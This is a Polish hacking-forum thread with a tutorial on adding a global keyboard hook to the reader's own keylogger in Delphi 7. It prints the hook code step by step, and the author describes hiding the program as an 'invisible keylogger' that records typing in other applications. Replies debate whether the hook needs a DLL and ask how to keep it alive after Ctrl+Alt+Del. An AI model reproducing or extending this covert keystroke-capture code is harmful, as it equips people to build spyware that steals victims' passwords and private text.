[Tutorial][Delphi 7]Zakładamy Hooka Globalnego na Klawiaturę

Reptile ReX

Użytkownik
Dołączył
Maj 15, 2007
Posty
248
[center:91eea47053]
***TUTORIAL OPRACOWANY PRZEZ REPTILE REX DLA UŻYTKOWNIKÓW FORUM HAKER.COM.PL***[/b]
[/center:91eea47053]

No, w końcu zabrałem się za napisanie jakiegoś Tutorialka
smile.gif
no myślę że wielu z was chcę dowiedzieć się jak założyć tego Hooka.

Co Będziemy Potrzebować
-Gotowy swój Serwer Keyloggera
-Delphi 7

Do Roboty:

Otwieramy w Delphi Kod źródłowy swojego serwera domyślnie Project1.dpr

Teraz Klikamy File>>New>>Form

Jak zauważymy pojawiła nam się 2 forma, możemy zmienić jej name,

Ok, teraz w Unit2 (Kod do Formy 2) w głównym var dodajemy
MainHook : HHOOK; następnie pod tym dodajemy:
function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;

Powinno to wyglądać tak:

Kod:
var

  Form3: TForm3;

  MainHook : HHOOK;



 function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;

Teraz niżej Widzimy

Kod:
implementation



{$R *.dfm}

Pod tym Kopiujemy Poniższy Kod:

Kod:
function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;

var

  Buffer: TEventMsg;

begin

  result := 0;

  Buffer := PEventMsg(lParam)^;

  if Buffer.message = wm_KeyDown then

    Form1.Memo1.Text := Form1.Memo1.Text + chr(Buffer.paraml); //Tutaj Wybieramy Gdzie mają sie zapisywać wciskane klawisze, domyslnie jest to Form1.Memo1 jezeli masz inną nazwe formy domyslnej lub inną nazwę memo musisz to zmienić

end;

Powinno to Wyglądać tak:

Kod:
implementation



{$R *.dfm}



function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;

var

  Buffer: TEventMsg;

begin

  result := 0;

  Buffer := PEventMsg(lParam)^;

  if Buffer.message = wm_KeyDown then

    Form1.Memo1.Text := Form1.Memo1.Text + chr(Buffer.paraml); //Tutaj Wybieramy Gdzie mają sie zapisywać wciskane klawisze, domyslnie jest to Form1.Memo1 jezeli masz inną nazwe formy domyslnej lub inną nazwę memo musisz to zmienić

end;

Teraz Klikamy jeden raz LPM na Formę2 i w Object Inspektorze Wybieramy zdarzenie OnCreate klikając na niego 2 Razy

Wklepujemy w procedurkę OnCreate poniżysz kod:

Kod:
  MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0);

Powinno to wyglądać tak:

Kod:
procedure TForm2.FormCreate(Sender: TObject);

begin

  MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0);

end;

Teraz Wybieramy OnDestroy i wklepujemy do procedurki poniższy kodzik:

Kod:
  UnhookWindowsHookEx(MainHook);

Powinno to wyglądać tak:

Kod:
procedure TForm2.FormDestroy(Sender: TObject);

begin

  UnhookWindowsHookEx(MainHook);

end;

Zapisujemy do Katalogu z plikami do Projectu1 i Kompilujemy

Program Zapyta się czy Dodać Form2 do Form1 oczywiście Zgadzasz się

I Po Sprawie !! mamy już Hooka na Klawiaturkę :]


W tym Hooku jest parę luk:

-Nie łapie Cyfr
-Wszystko dużymi literami czyli jak na przykład napiszesz Jola to wyjdzie JOLA
-Przestaje Działać po Uruchomieniu Managera Windows (CTRL+ALT+DELATE)
-Nie Łapie Polskich znaków


[center:91eea47053]
***TUTORIAL OPRACOWANY PRZEZ REPTILE REX DLA UŻYTKOWNIKÓW FORUM HAKER.COM.PL***[/b]
[/center:91eea47053]
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
ale o ile ja wiem to procedura główna hooka musi byc w dll. załozenie samo moze byc w programie(wywołanie funkcji SetWindowHookEx() ) Jestes pewien ze to działa?
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
a jesli twoja aplikacja jest zminimalizowana i inna jest aktywana to tez działa? Jakoś jak czytalem w necie wczesniej jak robilem swojego keyloggera to wszedzie było nawet w
msdn ze hook musi byc w dll aby byl globalny. Raczej wątpi aby wszyscy sie mylili(w tym msdn) tylko ty miał racje.

Klawisze sie moga zapisywac jesli twoja aplikacja jest aktywna a jesli wlaczysz sobie notatnik a twoja plikacja jest zwinieta to wątpie aby przechwycił
 

Reptile ReX

Użytkownik
Dołączył
Maj 15, 2007
Posty
248
Działa, Testowałem zrobiłem keyloggerka niewidzialnego z pomocą Cooltraya

IconVisible na False
StartMinimalized True
MinimalizeToTray True


uruchomiłem notatnik wpisałem tam zdanie i działa
smile.gif


Originally posted by grzonu
Raczej wątpie aby wszyscy sie mylili(w tym msdn) tylko ty miał racje.

Spróbuj sam a Potem stwierdź kto miał rację ;/

@UP Nom, a dlaczego nie miło by działać :]
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
ok moze i działa(choc jeszcze nie testowalem bo nie pisuje w delphi wole c++) wszedzie pisza ze do zalozenia hooka GLOBALNEGO potrzebne jest dll a winapi ktore wykozystujesz jest takie samo dla delphi i dla c++ wiec nie jest to kwestia jezyka
 

Dark Smark

Były Moderator
Dołączył
Kwiecień 29, 2006
Posty
1953
Originally posted by Reptile ReX
W tym Hooku jest parę luk:

-Nie łapie Cyfr
-Wszystko dużymi literami czyli jak na przykład napiszesz Jola to wyjdzie JOLA
-Nie łapie Polskich znaków
Zapomniałeś dodać że każdy hook puszcza po wywołaniu menadżera zadań. Przydała by się funkcja sprawdzająca czy hook jest aktywny.
 

EsX

Użytkownik
Dołączył
Czerwiec 21, 2007
Posty
45
dobra robota ale jest jedna rzecz gdy wcisniemy ctrl + alt + del hook sie zrywa i dupa niedziala czy jest jakis sposob zeby to wyeliminowac?
 

T$cr!pt3r

Użytkownik
Dołączył
Lipiec 23, 2007
Posty
207
A czy ja wiem, funkcja skopiowana, dużo istnieje takich tutoriali..
Moim zdaniem tutorial nie jest zły, tylko po co pokazywać początkującym
programistą, którzy kalkulatora nie napiszą, ponieważ nie znają jeszcze matematyki?
Chodzi mi po prostu o to, że przez takie tutoriale, ściągnie się kolejny napływ na to forum
"hakerów". Nie wiem jak was, ale mnie userzy tacy jak np. "malyprogramista" "troche"
denerwują i uważam, że obniżają poziom forum. No i nawiązując do tego tutoriala trzeba wspomnieć, że jeśli ktoś zrobi jakiegoś breakpointa, klawiatura nie będzie reagowała aż do ponownego uruchomienia komputera (Piszę to, bo jak wcześniej wspomniałem są tu początkujący).

grzonu nie mam pojęcia gdzie przeczytałeś o tym, że musi to być w bibliotece, ale gdziekolwiek to napisano nie musi być.
 

Reptile ReX

Użytkownik
Dołączył
Maj 15, 2007
Posty
248
Rozumiem cię ale ten tutorial nie jest poświęcony "małym programistom"

Zaistniał z takiego powodu ponieważ wiele osób nie tylko newbie miało z tym problem

Pozdrawiam
 

T$cr!pt3r

Użytkownik
Dołączył
Lipiec 23, 2007
Posty
207
Co do "malyprogramista" chodziło mi o konkretnego użytkownika.
Moim zdaniem programiści dzielą sie na: początkujący, zaawansowany - średniego poziomu umiejętności moim zdaniem nie ma. I wątpię, że jakiś zaawansowany sobie z tym nie poradzi, a tym początkującym radził bym na początek pisać programy nienależące do kategorii syfu.
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
gdzie przeczytalem a tu

http://msdn2.microsoft.com/en-us/library/ms644990.aspx

a dokladniej
cytuje
"
The global hooks are a shared resource, and installing one affects all applications in the same desktop as the calling thread. All global hook functions must be in libraries . Global hooks should be restricted to special-purpose applications or to use as a development aid during application debugging. Libraries that no longer need a hook should remove its hook procedure.
"

Dla nie kumatych to co jest pogrubione znaczy: wszystki globalne hooki musza byc w bibliotekach
Drugie zrodlo:

http://www.winapi.org/index.php?option=com...8&Itemid=30
Kod:
Niektóre z hook’ów mogą być globalne lub odnosić się tylko do wybranego wątku (thread). Jaka jest różnic chyba każdy wie. Globalne przechwytują komunikaty z całego systemu. Tutaj może się pojawiać mała niedogodno¶ć dla początkujących programistów. Hook’i globalne należy umieszczać w bibliotekach dynamicznie linkowanych (dll).
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
ja w c++ jak pisze to globalny mi działa tylko jak wezme do biblioteki a jak bez dll to tylko lokalny mimo ze zasadniczo funkcje winapi dla c++ i delphi sa takie same
 

lasek_99

Użytkownik
Dołączył
Grudzień 18, 2007
Posty
152
Originally posted by Reptile ReX
grzonu coś się tak czepił tych dll'ków
<
Działa bez DLL na 1000000000000000%

Przechwytujecie na niskim poziomie wciśnięcie klawiatury, jak będzie na hooku break to jak break zadziała to już cokolwiek byście nie wcisnęli na klawiaturze nie zadziała, bo też natrafi na zatrzymanego hooka. Pozostanie tylko myszka (o ile hook nie zbiera wciśnięć myszki, a jak tak to reset gwarantowany). Dlatego hooki muszą być w DLLach bo skompilowanego DLLa nie da się zatrzymać (postawić breaka) i hook w DLLu nigdy nie zatrzyma systemu przed rozpoznaniem klawisza i wykonaniem instrukcji.
 
Do góry Bottom